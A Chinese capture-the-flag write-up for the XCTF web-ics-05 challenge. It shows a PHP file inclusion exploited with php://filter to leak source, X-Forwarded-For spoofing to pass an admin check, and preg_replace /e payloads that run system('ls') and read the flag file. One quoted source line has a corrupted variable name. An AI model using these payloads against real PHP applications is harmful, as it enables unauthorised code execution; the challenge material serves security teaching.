XCTF-web-ics-05

访问页面,似曾相识的页面,查看源代码,搜索php,找到index.php,访问index.php

看不出什么,继续访问index.php的源代码获取到有用信息page=index的传参

这应该是一个文件包含,尝试使用data://协议进行命令执行

?page=data://text/plain,<?php phpinfo();?>


没有任何回显,可能是过滤了,接着使用最常用的文件包含php://filter协议

?page=php://filter/read=convert.base64-encode/resource=index.php

包含成功,使用base64解析该源代码

echo -n "base64_content" | base64 -d > test.php

有两段重要的php代码,第一个是我们文件包含的条件语句

if (ctype_alnum($page)) {
?>

    <br /><br /><br /><br />
    <div style="text-align:center">
        <p class="lead"><?php echo $page; die();?></p>
    <br /><br /><br /><br />

<?php

}else{

?>
        <br /><br /><br /><br />
        <div style="text-align:center">
            <p class="lead">
                <?php

                if (strpos($page, 'input') > 0) {
                    die();
                }

                if (strpos($page, 'ta:text') > 0) {
                    die();
                }

                if (strpos($page, 'text') > 0) {
                    die();
                }

                if ($page === 'index.php') {
                    die('Ok');
                }
                    include($page);
                    die();
                ?>
        </p>
        <br /><br /><br /><br />

<?php

下面这个是我们需要命令执行的php语句

/方便的实现输入输出的功能,正在开发中的功能,只能内部人员测试

if ($_SERVER['HTTP_X_FORWARDED_FOR'] === '127.0.0.1') {

    echo "<br >Welcome My Admin ! <br >";

    $pattern = $_GET[pat];
    $replacement = $_GET[rep];
    $subject = $_GET[sub];

    if (isset($pattern) && isset($replacement) && isset($subject)) {
        preg_replace($pattern, $replarepsystemcement, $subject);
    }else{
        die();
    }

}

上述中有一个危险函数preg_replace.
让我们来了解一个preg_replace()这个函数的用法:

  • preg_replace($pattern,$replacement,$subject):看下面代码案例既可以明白

但是该函数有一个危险的地方,就是$pattern的值中有/e,那么$replacement的值会被当做php代码执行,这是我们可以利用的,尝试在本地进行命令执行

<?php

$pat = $_GET['pat'];
$rep = $_GET['rep'];
$sub = $_GET['sub'];


preg_replace($pat,$rep,$sub);
?>

传入下方代码

?pat=/test/e&rep=system('cd');&sub=test

我使用的是windows电脑,在windwos电脑中使用cd命令会显示当前所在的目录

在分析上述代码中,我们需要满足一个条件

只有我们的X-Forwarded-For请求头的值为127.0.0.1才可以传入$pat、$rep和$sub变量,有了上述条件,我们最终传入payload

  1. 使用hackerbar添加请求头

  2. 发送payload进行命令执行

?pat=/test/e&rep=system('ls');&sub=test

成功命令执行

最后获取flag

?pat=/test/e&rep=system('cat s3chahahaDir/flag/flag.php');&sub=test

注意,flag在源代码中

posted @ 2023-11-28 11:07  Junglezt  阅读(5)  评论(0编辑  收藏  举报